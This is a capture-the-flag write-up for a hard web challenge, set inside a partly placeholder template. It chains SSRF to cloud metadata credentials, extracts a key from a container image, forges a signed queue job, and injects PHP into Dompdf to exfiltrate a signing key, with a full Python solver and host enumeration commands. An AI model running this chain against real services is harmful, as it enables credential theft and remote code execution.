МёдХантер III: знак качества
МёдХантер III: знак качества
Platform: Avitoctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-23 | Status: Solved Techniques: full_read_ssrf, imds_credential_recovery, container_image_extraction, cloud_function_source_recovery, signed_queue_forgery, dompdf_php_rce, hmac_verification
Summary
Task: A cloud-backed resume service exposes public PDF IDs and verification codes plus an authenticated full-read SSRF. Solution: Recover the renderer source and queue protocol, forge a signed S3 job, and exploit PHP-enabled Dompdf to extract the HMAC key.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
avitoctf| ID:20260723_avitoctf_myodhanter_iii_znak_kachestva - Tags: ssrf, go_binary, hmac, cloud_metadata, dompdf, object_storage, serverless
- Indicators: public PDFs expose UUIDs and 64-hex verification codes, Object Storage creation triggers a PDF renderer, resume fields are interpolated into HTML without escaping, Dompdf has isPhpEnabled set to true
- Source:
20260723_avitoctf_myodhanter_iii_znak_kachestva.md
Foothold
Vulnerability / Misconfiguration
- Full_read_ssrf
- Imds_credential_recovery
- Container_image_extraction
- Cloud_function_source_recovery
- Signed_queue_forgery
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- full_read_ssrf
- imds_credential_recovery
- container_image_extraction
- cloud_function_source_recovery
- signed_queue_forgery
- dompdf_php_rce
- hmac_verification
- Tags: ssrf, go_binary, hmac, cloud_metadata, dompdf, object_storage, serverless
Original Writeup
<details><summary>Click to expand original content</summary>МёдХантер III: знак качества — avitoctf
Description
The organizer description was not preserved verbatim in the task artifacts. The challenge asks for the master secret used to sign generated resumes and produce their public verification codes.
Analysis
This challenge continues the first two parts of the series. The authenticated resume importer was already known to provide full-read SSRF, including access to the IMDSv1 compatibility service. Cloud-init user-data disclosed the configured backend image, application Object Storage configuration, registry identifier, callback/storage architecture, and the PDF beta invitation. It did not contain the PDF signing key.
Public PDFs provided two useful values: a UUID document ID and a 64-hex verification code. For example:
ID: a3887633-b724-513f-b921-bc36bdbaff01 Code: 31605b7bc34f743b61b255814906a836b3d520c5ad1f44448a9ae39c96129dc7
Bounded tests of direct SHA-256, truncated SHA-512, and BLAKE2 derivations over canonical, compact, raw-byte, path, and newline UUID forms produced no matches. The codes were therefore consistent with a keyed MAC rather than an unkeyed digest.
Under prior explicit authorization for this exact challenge deployment, the temporary IAM credential obtained through IMDS was kept only in memory. Cloud and registry access was strictly bounded to the named challenge resources, and only this configured image was pulled:
cr.yandex/crpml40t8ia2kptf4iv7/hrportal-backend:latest
GoReSym recovered the functions SeekerService.enqueueRender and renderPayload from the backend binary. Static string analysis also found the render-queue signing key used by the backend; its value is intentionally omitted.
Bounded Yandex Cloud API inspection then identified:
- the
medhunter-pdf-rendererfunction; - an Object Storage trigger for
incoming/*.jsonobjects; - the source object
medhunter-fn-src-6d6c314a/pdf-renderer.zip; - a Lockbox binding from
pdf-signing-keytoPDF_SIGNING_KEY.
Direct Lockbox payload access returned HTTP 403. However, the application Object Storage credential previously exposed by cloud-init could read the exact renderer source object. No unrelated storage objects were inspected.
The recovered source established the complete vulnerability chain:
index.php:128verifies a queue envelope with HMAC-SHA256 overdocument_uuid + "." + base64(payload).index.php:191calculates the public verification code as HMAC-SHA256 of the document UUID underPDF_SIGNING_KEY.render.php:42-48interpolates resume fields directly into HTML without escaping.render.php:65enables Dompdf's PHP evaluator withisPhpEnabled=true.
Thus, possession of the backend's queue key allowed creation of a valid render job. An injected <script type="text/php"> block in the about field executed inside the renderer and could call the renderer's own s3_request() helper.
Solution
1. Recover deployment details through the established SSRF
Reuse the authenticated resume-import full-read SSRF from parts I and II to read cloud-init user-data and, only under the explicit deployment authorization, the IMDS temporary IAM credential. Keep the temporary credential in memory and constrain its use to the configured challenge resources.
Pull only the backend image named in user-data, extract image-backend/rootfs/app/hrportal-api, and run GoReSym. The recovered symbols locate the queue creation logic, while a bounded binary search identifies the queue signing key by its fixed format. Do not print or preserve that key in reports.
2. Map the renderer deployment and obtain its source
List the challenge function, version, and trigger metadata. This reveals the renderer function, source archive, Object Storage event prefix, and the Lockbox-to-environment binding. Although direct access to the Lockbox payload is denied, the already exposed application S3 credential can read the specifically named function source archive.
Source review shows that a render job has this logical structure:
{
"key": "<DOCUMENT_UUID>",
"payload": "<BASE64_RESUME_JSON>",
"signature": "<HMAC_SHA256>"
}
The trigger invokes the function whenever a matching JSON object is created beneath incoming/ in the challenge input bucket.
3. Forge a signed job and exploit PHP-enabled Dompdf
The following sanitized solver reproduces the exploit. Supply the previously recovered challenge storage values through environment variables; the queue key is extracted locally from the authorized backend image. The script does not display any credential or recovered secret.
#!/usr/bin/env python3
import base64
import hashlib
import hmac
import io
import json
import os
import re
import time
import uuid
from pathlib import Path
from minio import Minio
from minio.error import S3Error
binary = Path("image-backend/rootfs/app/hrportal-api").read_bytes()
queue_key = re.search(rb"mhq_v1_[0-9a-f]{32}", binary).group(0)
endpoint = os.environ["STORAGE_ENDPOINT"]
region = os.environ.get("STORAGE_REGION", "ru-central1")
bucket = os.environ["STORAGE_BUCKET"]
access_key = os.environ["STORAGE_ACCESS_KEY"]
secret_key = os.environ["STORAGE_SECRET_KEY"]
document_id = str(uuid.uuid4())
output_object = f"solver-output/{document_id}.txt"
php = (
'<script type="text/php">'
"$v=getenv('PDF_SIGNING_KEY');"
"\\s3_request('PUT',getenv('STORAGE_ACCESS_KEY'),"
"getenv('STORAGE_SECRET_KEY'),"
f"'{bucket}','{output_object}',$v,'text/plain');"
"</script>"
)
resume = {
"title": "Controlled security review",
"full_name": "Solver",
"city": "Test",
"salary": 1,
"about": php,
"experience": "normal",
"skills": "testing",
"contact": "solver@example.invalid",
"is_vip": False,
}
payload = base64.b64encode(
json.dumps(resume, separators=(",", ":")).encode()
).decode()
message = f"{document_id}.{payload}".encode()
signature = hmac.new(queue_key, message, hashlib.sha256).hexdigest()
envelope = json.dumps(
{"key": document_id, "payload": payload, "signature": signature},
separators=(",", ":"),
).encode()
client = Minio(
endpoint,
access_key=access_key,
secret_key=secret_key,
secure=True,
region=region,
)
client.put_object(
bucket,
f"incoming/{document_id}.json",
io.BytesIO(envelope),
len(envelope),
content_type="application/json",
)
for _ in range(45):
try:
response = client.get_object(bucket, output_object)
recovered = response.read().decode().strip()
response.close()
expected = "31605b7bc34f743b61b255814906a836b3d520c5ad1f44448a9ae39c96129dc7"
Path("recovered-key.txt").write_text("<REDACTED>\n")
assert recovered.startswith("avito{") and recovered.endswith("}")
assert hmac.new(
recovered.encode(),
b"a3887633-b724-513f-b921-bc36bdbaff01",
hashlib.sha256,
).hexdigest() == expected
print("recovered and cryptographically validated PDF signing key")
break
except S3Error as exc:
if exc.code not in ("NoSuchKey", "NoSuchObject"):
raise
time.sleep(2)
else:
raise SystemExit("renderer did not create the controlled output")
The payload writes only PDF_SIGNING_KEY to a unique solver-controlled object in the challenge input bucket. It does not access unrelated bucket content or inspect objects created by other competitors.
4. Verify the recovered key independently
Use the public document pair rather than trusting exfiltration alone:
import hashlib
import hmac
import os
document_id = b"a3887633-b724-513f-b921-bc36bdbaff01"
expected = "31605b7bc34f743b61b255814906a836b3d520c5ad1f44448a9ae39c96129dc7"
key = os.environ["PDF_SIGNING_KEY_RECOVERED"].encode()
assert hmac.new(key, document_id, hashlib.sha256).hexdigest() == expected
print("public PDF verification code matches")
The exact match proves that the recovered value is the HMAC key used for public resume verification codes.
Controlled Dead Ends
- Cloud-init and ordinary metadata did not directly expose the PDF signing key.
- The internal callback secret was not the verification-code MAC key.
- Common unkeyed SHA-256, SHA-512, and BLAKE2 derivations did not reproduce public codes.
- The import workflow populated the edit form but did not provide a captcha-free path to queue arbitrary renders.
- Direct Lockbox payload access returned HTTP 403.
- A Dompdf SVG local-file-read vulnerability was considered, but became unnecessary once source recovery exposed direct PHP execution.
Evidence
notes.md— full hypothesis history, authorization boundary, dead ends, exploit result, and verification.user-data.txt— configured image and challenge storage/registry architecture; sensitive values omitted here.image-backend/rootfs/app/hrportal-apiandgoresym.json— backend image and recovered queue-related symbols.cloud-functions.json,cloud-function-versions.json, andcloud-triggers.json— function, source-object, secret-binding, and trigger metadata.renderer-src/index.php:128,191— queue-envelope validation and HMAC verification-code computation.renderer-src/render.php:42-48,65— unescaped resume fields and PHP-enabled Dompdf.exploit_renderer.py— original bounded exploit implementation; sensitive values are not reproduced here.resume-1.txt— public UUID and verification-code pair used for independent confirmation.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR